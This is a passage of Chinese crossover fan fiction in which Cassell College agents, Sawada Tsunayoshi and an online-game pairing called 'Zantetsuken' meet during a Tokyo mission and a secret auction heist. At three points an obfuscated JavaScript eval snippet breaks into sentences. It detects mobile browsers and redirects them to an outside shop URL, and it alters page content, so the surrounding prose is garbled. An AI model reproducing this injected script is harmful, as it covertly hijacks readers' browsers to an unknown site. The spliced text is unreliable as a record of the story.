源稚生木然与其两两相望。背景里楚子航还在面无表情框框扔行李;恺撒正面带微笑和樱搭讪并赠送礼物;艾莎忙着给旦那发消息,神游天外无比沉浸,“噼里啪啦”的疯狂按着游戏机。 源稚生动心忍性忍了半天。他后悔了,他觉得眼前这群人需要的根本不是下马威,对付这群人就应该出动乌鸦、让乌鸦和夜叉把他们一个一个做成水泥桩子再一个一个沉到东京湾里去。 最后,他内心滚动着的千言万语化作一句简洁骂街: ……本部的人、神经病啊!? 17.距离 这次任务属于最高机密,所以学院选择让恺撒他们秘密入境。 但由于一些疏忽(这里特指乌鸦夜叉替天行道,把违法犯罪的警察署长情妇缠好保鲜膜摆满生鱼片放到了局长的办公室里),他们还是被神奈川县的警察团团围住了。 在樱的掩护下他们成功脱身。整个场面充斥着各种飙车与爆炸,不知道真相的人一定会以为他们在拍剧场版的《名侦探柯南》。 日本分部应对起这种局面显然是经验丰富:樱在动手时散下头发遮住了脸,源稚生全程在驾驶座上没有回头。 相比之下本部来的四个人简直毫无自知之明。当他们发现自己的脸部照片被警方拍下时已经来不及了。 ——恭喜他们,非法入境不到3分钟就达成了被整个东京警视厅通缉的成就。 所幸照片比较模糊,又或者像源稚生说的那样,东京是属于蛇岐八家的地盘。 总之1小时后,恺撒一行人顺利入住东京半岛酒店。 源稚生在确保他们成功checkin后就直接离开了,头也不回毫不眷恋的那种。 与此同时,一街之隔的Ritz-Carlton顶层,沢田纲吉在睡前又登了一次游戏。 接二连三的消息提醒随之响起。 “中了、我中了!” “旦那!你看——是whitebunny——是whitebunny啊!!” ‘whitebunny’是游戏开服时就在的超稀有跟宠,是一只小小的、通体雪白的垂耳兔。沢田纲吉知道这是斩铁剑最喜欢的角色,不过由于出货率极低,且斩铁剑本人运气一般,所以一直没能获得。 看着不断弹出的消息,仿佛也能从中感受到对方的激动与喜悦。 不是前几分钟还说有事要快点下线么? 这么想着,他唇边笑意不由加深。 不过说起来……男性会这么公开表达对whitebunny的喜好,并不算常见呢。特别是在日本这样的国家。 沢田纲吉想道。 真是一位十分坦率的人啊——‘芝加哥斩铁剑’桑。 18.行程 老爹交待过,要好好接待本部来的四位专员。尽管不明白原因,源稚生还是依言行事。 但他并不亲自出面,而是委托樱全权代理。 没办法,在那4个神经病身边多待一秒他都觉得血压升高难以为继。生怕一个忍不住就和他们进行一场‘不是你死就是你亡’的激情较量,然后再把他们的尸体一个个挂到东京塔上去…… 不过秉持着认真负责的精神,他还是会每天听一听那四个家伙的行程。 樱是个好秘书,把本部的特派专员们安排得明明白白。 今天恺撒去了某大家私营的漆器店,楚子航参观了都内有名的道场,路明非则在秋叶原里流连忘返…… “嗯。”源稚生点了点头,正准备起身离开。 “艾莎小姐去了东京展博会。”樱继续道。 “她居然出门了么?”源稚生吃了一惊。 这两天他算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658828|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是看透了——昔年颇有潜力的新星已经被完全腐蚀成了一个足不出户的阿宅——以至于现在他每每看到樱花凋零都要感叹一声,心想本部真是个吃人不吐骨头的魔窟。 “是家族投资的游戏公司举行的周年庆典。因为是艾莎小姐在玩的游戏,所以特意派部下去酒店送了入场券。艾莎小姐已经出发了,”樱翻了翻手里的资料,“收到家族赠送入场券的还有……” 她一连报了几个名字。都是平时与家族有经济往来的集团和公司,并不存在混血种势力。 “知道了。”源稚生听到一半就打断了。他对这些毫无兴趣——他一向不热衷家族生意。 “时间不早了。我去看看绘梨衣。” “是。”樱低声道。 她阖上了资料。源稚生也就不会有机会知道,在那份赠送名单的最后一列,赫然写着“风纪财团”四个大字。 19.想法 必须澄清的是,如果这次不是机会自己送上门(沢田这边要感谢草壁学长),艾莎和沢田纲吉是绝对不可能主动去参加什么庆典活动的。 他们都不是那种狂热的游戏宅。之所以会对这次的线下活动动心,还是因为宣传单上写着的‘新本试玩’。 作为周年活动的预热,官方会在现场放出打磨良久的新副本,并随机抽取玩家试玩。在场的所有人都能一饱眼福。 当然,由于这是得以参与庆典的玩家的专属福利,所以之后相关的详细情报是不能释出到互联网上的。 ——如果能提前知道副本内容,等正式开活动时肯定会轻松很多吧?到时旦那/斩铁剑桑不一定会上线,很可能得一个人肝呢……起码也得把每次活动都有的家园奖励全部拿到才行。 最终决定把宝贵的私人时间用到参与线下活动时,不约而同地,他们两个都抱持着这般‘打理好他们的小家园’的贤惠想法。 20.浪川大辅 “说不定这回你就见着金枪鱼了!”临走前二师兄一口毒奶。 “…怎么可能?”艾莎动作一顿,“旦…TUNA又不一定是日本人。就算是也不一定在东京啊?” 而且他们连照片都没互换过。展博会上那么多人,他们能碰上的概率根本比二师兄在一周内脱单的可能性还低。 “那谁知道呢?”路明非拱拱她,“说不定一个巧合你们就双双被抽中体验游戏,然后金枪鱼君一个回眸小师妹你从此沦陷——现在的恋爱喜剧都这么演。” 明知道二师兄是在信口胡诌,艾莎却还是心头一跳。 “…就算碰到又怎么样嘛…”她尽力忽略突如其来的心慌,并下意识看了一眼镜子。 路明非一脸“yoooooooo”的表情。 “不对我才不会就此沦陷——”艾莎顿时张牙舞爪,“二师兄你别小看我——现实中能让我沦陷的男人只有浪川大辅好么!?” 浪川君是她最喜欢的动漫角色‘石川五右卫门’的现役配音。 尽管《鲁邦》的大部分老粉都更推崇二代目井上真树夫的演绎,但她却对浪川十分欣赏。 “——喂喂,你沦陷的理由根本和现实搭不上半点边吧!?”二师兄立即反槽。 21.初印象 不知道是不是因为二师兄的毒奶。当官方开始抽取幸运玩家且她真的被抽中时,艾莎确实是有那么点紧张。 这次总共有三十名玩家被选中,采取随机打乱号码两两组队的形式。她在人群中探头探脑地寻找自己的‘搭档’,心想游戏公司的线下活动怎么搞得跟相亲一样。 很快,她就跟同样落单的褐发青年对上视线。 接着他们都愣了愣,因为觉得看长相气质对方不像是会打游戏的人。 不会是官方请来的托吧……? ——嗯,以上就是没出息又现实的两个人对彼此的初印象。 70. 第65章 序幕:SS级任务 美国芝加哥 列车驶离城市,在广阔的平原上飞驰。 5月的芝加哥总是晴空万里,明亮的车窗清晰地倒映出两旁景色。大片大片的原野,经过整个春天的野蛮生长,植被都油得发亮,显现出一种原始的、跨越时间的美。 CC1000次特快列车上,安德鲁·加图索无暇欣赏美景。他在皮质座椅上正襟危坐,神情严肃心无旁骛,有如一位行将出征的武士。 安德鲁·加图索,毕业于耶鲁大学法律系。身为混血种,他的血统着实算不上高,以至于当初没能被学院录取。 但是他的头脑很聪明,这些年来发挥所长另辟蹊径,如今已是加图索家族的首席法律顾问,在法学界颇具威望。 照理说这样精英中的精英,无论何时都能保持头脑冷静。然而此刻安德鲁心潮澎湃,额角的青筋突突直跳。 四年了……距离他上次作为校董会代理前往卡塞尔学院、弹劾校长昂热与问题学生楚子航,已经过去整整四年了。 在这四年中,他没有一天忘记那次行程中所遭受的折磨与屈辱。 被强灌名为‘白干’的中国烈酒这样的肉身酷刑暂且不提,更要命的是心灵所受的创伤。 安德鲁的心理医生建议他平时多听古典乐陶冶情操,每天睡前喝一杯红酒或者牛奶,以预防深夜从噩梦中惊醒。 可是心理医生不了解安德鲁、不了解混血种——这样软弱的提议根本无法治愈他内心深处的伤痕。 当年灰头土脸逃离那个神经病聚集地的时候,安德鲁就对自己发誓:早晚有一天他会回到这里,向那群无节操无下限的混蛋复仇。而现在……整整四年过去,他终于等来了自己的机会! 机会是自己争取来的。得知家族要再度选派一名代理人前往学院的时候,安德鲁当即主动联系管家,通过他向家主恺撒·加图索毛遂自荐。 尽管恺撒的原话是“上次在听证会上发言的那个蠢货么?就他了,他很合适。”,但安德鲁丝毫不受影响。 毕竟暗地里他对恺撒有着差不多的评价——自继承家族以后,这位新任家主已经有整整一年没有回到罗马了。 去年4月,他与未婚妻陈墨瞳从波涛菲诺的港口出发,驾驶无动力帆船开始了他们的环球旅行。在恺撒的坚持下,他们每到一处风景名胜就要举办一次具备当地特色的婚礼,期间耗费无数财力物力,管家还有婚礼事务所的人追在他们屁股后头颠颠儿地跑。 顺带一提,当恺撒通过电话进行代理人决策的时候,他正在索马里海域举行自己的第五十二次婚礼。 庆祝方式是和新娘两个人手持武器在海盗船间厮杀,背景音里惨叫连连,家族中的老人们都被气得鼻歪嘴斜…… 想到这儿,安德鲁冷笑一声。 能想出‘在海上漂流一年多’这种荒唐的婚庆方式,这得是多极品的二货?你能跟这样的二货计较他骂你蠢么?他要是和你称兄道弟相见恨晚,那才显得你不正常! 安德鲁边想边轻轻吐出一口气,背脊挺得笔直。 不管怎么说,通过不靠谱的二货家主,他总算获得了重返卡塞尔的机会。 上次他的败因在于妄想用逻辑与口才征服学院。事实证明,要想让那群无下限的混血种疯子屈服,唯有通过强权——绝对的强权。 他已经具备这样的强权。 安德鲁缓缓将手掌置于桌子中央的文件袋上。这就是他此行的权柄。校董会所给予的权柄。 是的,今时毕竟不同往日了。缺失校长的学院已经群龙无首。而群龙无首的学院……当然不得不向校董会低头! 正当安德鲁沉醉于复仇的喜悦中时,疾驰的列车开始减速,广播中响起柔和的女声。 “本次列车将在五分钟后抵达终点站。欢迎您来到卡塞尔学院,祝愿您有美好的一天。本次列车将在……” 闻声,安德鲁恶狠狠地正了正领带。他打开车厢内配备的环绕式音响,用激昂的古典乐压过了循环的提示广播。 CC1000次列车缓缓驶入月台。 迈出车厢的那一刻,安德鲁尤为谨慎:记得上次就是在这儿,他被身穿夏威夷衫头戴五彩花环的副校长并一众拉着条幅热情洋溢的学生打了个措手不及。自此他的完美计划就发生了不可逆转的偏移…… 这次他可不会重蹈覆辙。安德鲁清清嗓子,将一封文件袋庄严的单手护在胸前。 在手臂的遮挡下,封口处暗红色的火漆隐约可见。 然而——当两只保养得油光滑亮的鳄鱼皮鞋都踩上坚实地面——安德鲁·加图索提起十二万分的警惕环顾四周,但最后他不得不承认,月台上是真的空无一人。 不远处,一辆黑色的商务车低调而规矩地等候着。 “……” 沉默的树叶被风卷离枝头。现在明明是初夏,卡塞尔的站台却莫名带着一抹秋日的寂寥。 真是今时不同往日了。安德鲁有点幸灾乐祸又有点怅然。他觉得自己运足功力,结果一拳打到了棉花上。 ——伴随着校长办公室人去楼空,肉眼可见的,整座学院的精气神似乎都产生了某种变化。 -- 卡塞尔学院图书馆2F 中央控制室 安德鲁·卡塞尔迈着稳操胜券的步伐推门而入。中央控制室已经被预先清空,留守在这里的三人不约而同地望向他的方向。 上次访问学院时,他与这三人的交流不多。但在来的路上,安德鲁又重新翻阅了一遍目前在校师生的资料。他缓慢地审视着面前的三名教授: 脸部覆盖着黑色面罩、活像从上世纪美国邪典电影中爬出来的反派人物的是冯·施耐德。他是学院执行部的负责人,一个不折不扣的暴力分子; 站在施耐德左侧的光头是曼施坦因,他是学院风纪管理委员会的主席,以脾气火爆著称。由于恺撒在校期间的肆意妄为,他向加图索家族成功索赔过不少笔巨款; 施耐德右边那个乐呵呵一脸老年痴呆相的老头是古德里安,他既没有战功也没有后台,但却神奇的将学院近四十年来唯二的两名S级学生都收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658829|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入门下。 以上就是学院近期的值班教授。 安德鲁缓缓走近他们环绕的那张圆桌,构成了桌子的第四角。 “副校长特别要我代他致歉,”曼施坦因冷冷道,“他一时不慎闪了腰,所以没办法亲自接待你。” “这无关紧要。”安德鲁同样冷声道,“副校长只是虚衔,没有实权;本来就没有资格参与这次行动。” 他一边这样说,一边将手中的文件袋推到了圆桌正中。 这个动作做得肃穆、谨慎而不失威严,为了这一刻安德鲁已经演练了无数遍。 此刻,封口处那暗红色的印章终于露出了它的全貌:那是一条头尾相连的巨蛇,在灯下折射出鳞甲般的光辉;圆形图章的正中是两个微微错位的粗体字母,‘S’。 在场的三名教授尽皆默然。 ——SS级任务。这是超规格的编号,极其特殊。这类任务不一定比S级困难,但却具备最高的优先级。因为它由校董会直接下达,接收方一般是校长;如果校长不在,则由学院当值的三名教授共同决策。 “那么…”执行部部长施耐德率先开口。由于呼吸道被完全破坏,他的声音就像一台破破烂烂的老旧风箱。 “施耐德教授,”安德鲁彬彬有礼地打断了他,“校董会特别授予了我本次任务的监控权,我想接下来应该由我主持。” 施耐德默默看了他一眼。 隔着黑色的面罩,安德鲁看不清他的表情,但后背却立即一阵寒毛耸立。他没有将恐惧外露,反而更加努力地挺起胸膛。 本应由学院独立执行的事务,校董会却突然加入了代理人的角色。所有人都知道这意味着什么。 ——在校长职位已经空缺超过一年的今天,这个决议本身就是董事会针对学院的一次势力渗透。 这些教授也必须清楚这一点:从今往后,校董会就是绝对的权威——以后再不会有什么自由散漫的校风,什么肆意妄为的执行部和装备部——学院的时代已经彻底终结了! “…请。”施耐德语气冷硬。 安德鲁满意而充满威严地颔首。他向中央控制室的超级电脑直接发出指令: “诺玛,现在开始任务说明。” -- “明白。”优雅沉稳的女声自控制室四面的扩音器中响起,“下面开始进行基本信息确认。任务等级:SS;编号:185312250001……” “1853?”古德里安吃惊地作二次确认。安德鲁见状立即皱眉,但这时诺玛已经体贴地停下了。 不同于执行部的施耐德与代理人安德鲁,古德里安和曼施坦因都没有提前浏览过任务档案。 但他知道这个编号背后的含义:学院的任务编码都是12位,前8位是任务的下达日期,后4位则是其在当天所有事务中的排序。 也就是说,这个编号意味着该场任务是在1853年的12月25日被下达,同时也是当天发出的第一道命令。 ——这场任务来自……一百五十年前! 71. 第66章 执行专员 里世界的聚会千篇一律,但‘船王’总能搞出点新花样来。 宴会厅由大大小小数个洞穴组成,连接它们的通路千奇百怪,楼梯滑梯甚至是暗门,任宾客自由探索; 每个洞穴都有各自不同的主题,精心设计的布景与光线混淆了时空:可能上一秒你还在迪厅的彩灯球下和貌美的侍者嬉闹,下一秒无意中旋开墙壁,发现衣着暴露的荷官正朝你微笑,桌上赌局正酣。 这里的一切都是最顶级的,即便是最挑剔的客人也赞叹连连;距离拍卖会正式开始还有很长时间,他们很快分散到各个洞穴各个角落,探索或是纵情声色。 沢田纲吉没兴趣四处走动,他就静静坐在最开始的厅堂一角。 这里的人最少,地方却最大。岩壁上燃烧的火把只是点缀,真正起到照明作用的是屋顶数盏巨型吊灯,它们之间被装饰性的铁链相互连结。 多面金色薄纱从链上垂下,大而轻盈,分隔了空间;无数身着纱丽的侍者在其间穿行,有时纱幕被素白手指轻轻撩开,光影浮动的样子。 房间的正中被挖空作水池与巨大喷泉。水池里面灌满香槟,于是就连空气中腾起的水雾都是淡金色的。 这里不像地下,也不像日本;里世界的人不得不敬佩‘船王’:他是大师级的享乐专家,能把名不见经传的日本荒山打造成最顶尖的销金窟。穷奢极欲,叫人想到昔日奥斯曼帝国的苏丹后宫。 “Jamón?”轻薄纱丽覆面的侍女端着切好的西班牙火腿走近,她的口音与小麦色肌肤带着种别样的异域风情。 保镖在近处将她拦下。她并不退去,只屈膝抬眼望着沢田,目光懒懒的;勾引像她眼尾搽着的金粉一样隐隐绰绰。 “No.”沢田纲吉言简意赅地拒绝了她。这回保镖拦得更加意志坚决,侍女于是耸耸肩,识趣的款款离开。 她曼妙的背影消失在金纱的另一侧,看起来如梦似幻,即便是保镖也有一瞬恍神。 但沢田毫无反应。准确地说,他压根没有看见:拒绝邀约后他就又垂下眼帘,视线重回手上的待拍物品清单,似乎研究得专心致志。 不远处传来多管闲事的喟叹。 “听说你在西西里有了情人的时候我还以为你终于开窍了,可你还是老样子!”对方夸张地摇了摇头,慢悠悠走近了。 这次保镖没有拦他。这里的所有人都不会拦他。 ——‘船王’鹤见敏行。他是这场拍卖会的主办方,在里世界颇受尊重,与彭格列九世交情甚笃。 “你不要学Timoteo,把日子过成苦行僧。中国有句古话,‘旧的不去新的不来’,这意思你明白么?” 敏行边说边坐到旁边的沙发上。白皙而微胖的脸告诫般凑近,下巴因此堆叠出三层皮肉。 他指的是去年夏天风传的‘菲奥娜·怀特消失’事件——事实证明八卦是人类共有且永恒的天赋——里世界对此众说纷纭。 对彭格列首领一知半解的还好,都觉得只是正常的喜新厌旧,抛弃或是背叛; 了解十世为人的反而更加同情——不知道为什么,在这件事上大家不约而同地认为是沢田纲吉被女人甩了。 对此沢田没说什么,只淡淡笑了笑,无可奉告的意思。 这是他针对这件事的一贯回应,从没人能从他嘴里撬出一丝半点有关菲奥娜·怀特的信息。 “好吧好吧。”敏行半真半假地做出投降姿态,颇有眼力劲地更换了话题。 “那我们来说这个,这才是今晚的主菜,”他指着沢田手上的清单,神神秘秘挤眉弄眼。 “这些资料和图片只是用作宣传,没什么意思——想亲眼看看待会儿要拍卖的东西么?” 沢田纲吉微微一愣。其实他对拍卖也没什么兴趣,刚刚只是盯着资料发呆。 他真正在想的是接下来的年假。之前他提交的申请(其实是整整六年前)终于在最近得到批复:一共七天,就在今晚的拍卖会结束后正式开始。 现在他就和每个即将放长假的社畜一样心不在焉,只堪堪维持着表面功夫。 这也是顶着“彭格列Ⅹ世”头衔行走的好处之一:只要摆出的姿态足够冷漠,真正敢于上前打扰的人总是很少很少。 只是没想到船王也被他骗过,看来他‘装样子’装得不错。 装样子……他的思绪在这个字眼上停留了极短暂的一刻。这并不是他自己想出来的形容。 这时敏行已经摩拳擦掌地站起身,沢田纲吉不好意思拒绝老人。他跟着敏行进入豪华宽敞的客梯。 电梯载着他们继续下行。观景玻璃外,赤红的岩壁就像海浪一样起伏。 相比刚才的宴会厅,他们到达的房间没什么装潢可言。这没什么稀奇:待会儿的拍卖还是在上方举行;这里只是库房,待拍的物品琳琅满目的摆放在一起。 沢田纲吉粗略看了两眼,都是些瓶罐画作之类。他对艺术品没什么研究,敏行的兴趣似乎也不在于此。 高胖的船王带着沢田向右,一路走向更深处。他们最终到达一个大而空寂的房间,里头光线很暗,黑暗就像流水一样流动着。 敏行边去摸索照明边示意他往上看。 沢田纲吉不明所以地抬头。也几乎是在同时间,灯光骤亮。 看清半空中吊着的庞然大物后,他的眼睛因震惊而微微睁大。 “很美,是不是?”船王的声音从他身后幽幽响起,“在深海里发现她的时候,我几乎不敢相信自己的眼睛。她已经在海中浸泡了超过一百五十年,本该腐烂成一堆没用的木头——可是没有,一丝一毫也没有。她就像刚刚沉没时那样美。” “但这怎么可能呢?”船王轻轻道,“除了上帝的奇迹,我想不出其它任何解释……也许是她的名字庇佑了她。” 全息投影生成的船只模型在圆桌上方缓缓旋转,散发出幽幽的、鬼魅的蓝光。 等比例的缩小无碍于细节上的栩栩如生,任谁都能看出那漂亮线条背后的造价高昂。 偌大的中央控制室内,诺玛的声音冷静而无波澜。 “‘Theseus’号,长398英尺,宽40英尺;1852年由长老会出资建造。”她道,“它搭载了当时最先进的航海技术,最高航速可以到达20节,即每小时37.04公里。它的命名源自‘忒修斯之船’…” 诺玛没有停顿,在场的四人也都未要求进一步的解释:他们在校时都曾选修过哲学,对这个公元1世纪的古老悖论并不陌生。 其所描述的是一艘被精心呵护的船只:它的每一个零部件都被仔细看顾。哪怕只是一块木板,一经损坏也会被立即更换。 得益于这样不间断的维修与替换,传说忒修斯之船能在海上连续航行几百年而不朽烂。 “1853年12月24日凌晨,Theseus号搭载着一样重要物品秘密驶离巴勒莫,目标汉堡。但它没能抵达目的地。次日长老会下达秘令,派人搜寻Theseus号的下落;这项任务直到1900年10月才被中止。”诺玛继续道。 没人询问命令中止的原因——1900年是刻在每个秘党人脑子里的年份。 ‘夏之哀悼’事件就发生在这一年,当时的秘党高层几乎全军覆没,有很多计划都受到了这件事的影响。 “历史上喜欢放狠话的船好像都没什么好下场……”古德里安喃喃道。他想到了号称‘永不沉没’的泰坦尼克号。可惜在场的除了曼施坦因没人在意他的脑回路。 “长老会选择中断搜寻还因为这项任务在当时已经徒劳地进行了五十年。”安德鲁冷冷补充道,“我们一无所获。这条船就像是在航道上凭空消失了。” “直到去年冬天,它被一个名叫‘鹤见敏行’的商人意外发现。”诺玛继续道。随着她的声音,桌子上方的全息图像变成了一张和气圆胖的脸。 “鹤见敏行,出生于昭和25年。表面上他是个正经商人,主营航海业,并且拥有自己的拍卖行;但同时他也从事非法贸易,和□□有不小的利益牵扯。” “蛇岐八家么?”曼施坦因皱眉。提到非法营生,他第一个想到的就是半独立的日本分部。 “不,鹤见不是混血种。根据资料,他很早就离开了日本。帮助他起家的是意大利黑手党。”诺玛道,“作为回报,他每年都会举行小型的定向拍卖会,邀请支持他的□□成员参加。这是今年的物品清单。” “根据情报,鹤见会在今晚公开拍卖所有从Theseus沉船上打捞的物品。其中也包括这次的任务目标——他们给出的标签是Theseus-044号。” 虚空之中,纯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不能让蛇岐八家知道这件事!”安德鲁断然否决。本次行动禁止日本分部参与,这是校董会给出的底线。 潜入调查……也不是不可行;他暗暗深吸一口气。虽说听起来不够光彩,但这样的场合总会需求数量不少的服务生。 现在,他们需要的是数名合适的执行专员——强大,谨慎,足够专业,不至于把场面闹得太过难看。 “我需要一份专员名单。” “排除日本分部,学院可指派的人选很有限。”施耐德说,“可以临时调动的只有一名执行部专员。她因一些私人事务在当地停留,原本正在休年假。” “我要的是他的详细资料!”安德鲁不耐烦地点头。他不关心那个专员的具体状况——学院会额外补给他损失的假期——他只在乎对方是否能独立完成所有计划! 这是SS级的任务,而现在他开始感到在场者除他以外,没有人真正把这件事放在心上! “我们派出了S级执行专员。”施耐德漠然道,“她具备绝对的血统优势,此前独力完成过多项A级任务。加入执行部以前,她在‘潜入调查’考核中的成绩是满分。” 听到最后一句话,安德鲁面色稍霁。 他紧紧盯着施耐德,也因此忽视了古德里安骄傲挺起的胸膛、以及曼施坦因默默掩面转身的微妙反应。 “名字?” “任务时我们只能提供代号,这是执行部的规定。”施耐德道。 就在安德鲁默默点头,屏息等待回答的时候,诺玛的声音突然从中途插.入。 “‘斩铁剑’请求远程通话,是否同意?” 什么远程通话?安德鲁一愣。现在执行专员不是应该已经扮作服务生潜入拍卖会现场了么,怎么还能远程通话? “同意。”施耐德边说边看了安德鲁一眼。这位校董会代理显然还未搞清楚状况。 随着一声轻响,通讯道路正式开启。 “任务内容都听清楚了么?”施耐德向通讯的另一头问道。 “刚才在赶路,长篇大论的没怎么听清。”斩铁剑含糊地答复道,她的语气实在称不上好。 “总之就是拿到Theseus-044号,对吧?” “嗯,数字听清就行了。”施耐德淡淡道。 72. 第67章 重逢 “这到底是怎么回事!?我需要一个解释!现在——立刻、马上!” 安德鲁的咆哮声响彻整个中央控制室。 时隔四年,他再度在卡塞尔感受到了那种叫人抓狂的挫败感。 一切都失控了。他甚至没时间纠结‘斩铁剑’的性别——女人也好声音像女人的男人也好——他心说这位S级专员你现在不是应该已经扮作貌美侍女或者侍男潜入拍卖场地了么? 可为什么从连线设备里听你好像还在室外!?为什么森严的中央控制室里会传出这么真实的风声雨声和打雷声!? “…谁啊?”斩铁剑一愣。 “校董会的代理人。”古德里安一脸关切,“你那边天气不好么?现在到哪里了,怎么听声音怪颠簸的。” “下雨,摩托车在山路上不大好走。”说着斩铁剑的声音又猛颠一下,“…这种荒郊野岭真的会有什么拍卖会么?闹鬼还差不多。” “绕过这座山就是。”诺玛给出肯定的答复。与此同时,斩铁剑护目镜的左半边出现一张淡蓝色的导航图,简洁直观还带2、3D切换,有点像是大型客机上使用的那种。 “直线距离还有800米,预计4分钟内抵达目标地点。” “藏在地下么?”斩铁剑提出猜测。通过连线设备,她模模糊糊听到对面传来一系列诸如“你们到底想干什么!”、“我要求立即中止任务!”的怒吼。但它们很快就被诺玛清晰冷静的声音覆盖了。 “是。鹤见敏行偏爱与众不同的建筑。他在二十年前以开采金矿的名义买下了附近的三座山脉,之后秘密动工,挖空了其中一座的主峰。 “从外部看这周围全是荒山,可其实藏着一所销金窟。每年鹤见都在这里举行拍卖,宴请支持他的□□成员。” “……” 听到“□□”两个字,斩铁剑似乎呼吸一顿。 “虽然都是些没有血统的普通人,但还是要小心。”古德里安忧心忡忡地补充道,“你去年差点就在黑手党手上吃亏。” “啊…嗯、知道。”斩铁剑顿时闪烁其辞。 古德里安说的是去年冬天的事。当时她在法国北部追杀一名死侍,结果和一伙黑手党撞了目标。 自从与沢田分别后,那还是她第一次遇到使用死气之火的mafia。 看到对方漆黑旗帜下飘扬的Vongola字样*斩铁剑备感亲切松懈,于是她边手起刀落斩了目标边跟他们套近乎:“hey你们是纲吉君的部下么?我是说、沢田纲吉…?彭格列Ⅹ世?” 她的本意是避免冲突,或许还能问一问沢田的近况。但不知为何,那个头戴羽毛坐在正中沙发上闭目养神的男人突然就目露凶光,紧接着她就被一头无比凶残的天空狮子追杀了大半座城市。时至今日她都不知道当初究竟是哪句话惹怒了对方…… 也拜这场惊险刺激的追逐战所赐,斩铁剑从此再不敢对死气之火掉以轻心。 彭格列、大空火焰……以前与褐发青年待在一起,她总下意识把这些东西和他划上等号的。 可分别了才知道,原来世界比想象中大得多;并不是听到某些熟悉的字眼就意味着能再相逢的。 唉。斩铁剑在心里叹了口气。但她的思绪很快就被施耐德嘶哑的声音打断了。 “□□做事很谨慎,所以会场被防守得很严密。具体的安防分布都在计划书里标明了,待会儿记得再看一眼。这次除了保安,比较棘手的还有每层的防盗系统,都是银行级,感应到入侵者就会自动触发,层层封锁。” “不能强行突破么?” “太耗费时间。”施耐德淡淡说,“这次行动要求速战速决;诺玛会远程协助你完成。” “了解。”斩铁剑说。执行部内部有自己的一套黑话:这种语境下,诺玛的‘远程协助’就是帮忙黑进系统的意思。 “我有多少时间?” “十分零二秒。”诺玛柔和地回应道,“不唤醒Eva的前提下,这是我越过‘辉夜姬’进入日本网络流的极限。十分零二秒后,我会自动撤销入侵。” “Ok。还是从定向爆破前1秒开始算么?” “是。得到指令后,我会负责黑掉安保系统和全部的监控。” “装备都带齐了么?”施耐德俨然在做最后确认。 还没等斩铁剑回答,诺玛就体贴地列出了这次任务报备的装备列表。看清单子上的内容后安德鲁再也无法坐以待毙,他愤怒的一把挥开了曼施坦因。 “…慢着!你们到底想干什么——这次任务必须隐秘进行!” “我不明白你的意思。”施耐德冷冷道,“校董会的要求是‘不暴露学院的存在’,所以这次行动的性质才被确定为‘潜入搜查’。” 安德鲁心说潜入搜查、什么样的潜入搜查会需要带上不止一个的小型爆破装置!?这还是潜入么,这是要把整座山头炸平吧!? “你们这是在动用暴力!” “执行部本来就是暴力机构。”施耐德淡淡道,“如果专员的风格不够暴力,那是我作为执行部负责人的失职。” “……” 安德鲁与施耐德寂静地对视数秒。接着安德鲁猛地扑向桌前:他已经放弃了与施耐德对话,就让这个冥顽不灵疯疯癫癫的邪派老头见鬼去吧! “斩铁剑!听好——我是校董会的代理人——我命令你即刻中止行动!计划必须重新制定,在此之前你先在原地待命。听到没…” “哪来那个美国时间。”斩铁剑说,“我赶场子好么。” 说着,中央控制室里传来一声清脆的“噼啪”声。她干脆利落地切断了连线设备。 “……” 安德鲁顿时陷入沉默。 …整顿!执行部上上下下都需要整顿! 他气得浑身发抖。一旁的古德里安见状,有点不好意思地打了个圆场: “咳、今晚任天堂有一款游戏提前发售,在秋叶原限量供应,所以她赶时间……” “游戏……?什么游戏…游戏能有SS级任务重要么?!”安德鲁气若游丝地瞪着他,觉得他说的每个字都仿佛是在自己岌岌可危的脑神经上跳踢踏舞。 “虽然这么说不太好,但毕竟战争已经结束了嘛……”古德里安好脾气地挠挠额角,“那个游戏她都期待好久啦,又是攒钱又是请年假的——要说现在她心里比它还重要的事,一时间我还真想不到……” 沢田纲吉脚步一顿。 “怎么,看到感兴趣的东西了么?”船王在他身后乐呵呵地问。 他的目光定格在装满琳琅财宝房间的一角。鹤见顺着他的视线望去,看清他所关注的物品时,老者发出一声惋惜的喟叹。 “…这是19世纪的保险柜,那时贵族间一度流行定制这种做工复杂的玩意儿。工艺越精湛,价格就越昂贵。”说着,他心疼得啧啧了几下,就好像看到金砂从指缝间溜逝。 “可惜我们没能找到钥匙,仿造了几把都不管用。最后不得不用其它手段打开它。” 角落里,漆黑的方柜被一分为二;切口很平整,古怪得让人联想到被机器切割的冷冻肉品。 柜身敞开,露出粗粝内壁和空空如也的格层;失去防御性的柜门则被斜斜倚放在一旁,乍一看根本找不到锁孔;上面以镶银工艺雕刻着一只双头老鹰,头颅高昂,本该有种睥睨一切的气势。然而在当下的情境中,却又显出一股别样的凄凉。 双头老鹰。这不是沢田纲吉第一次见到这个古老印记。上次见到它时,它与彭格列的家徽悬刻在一起。 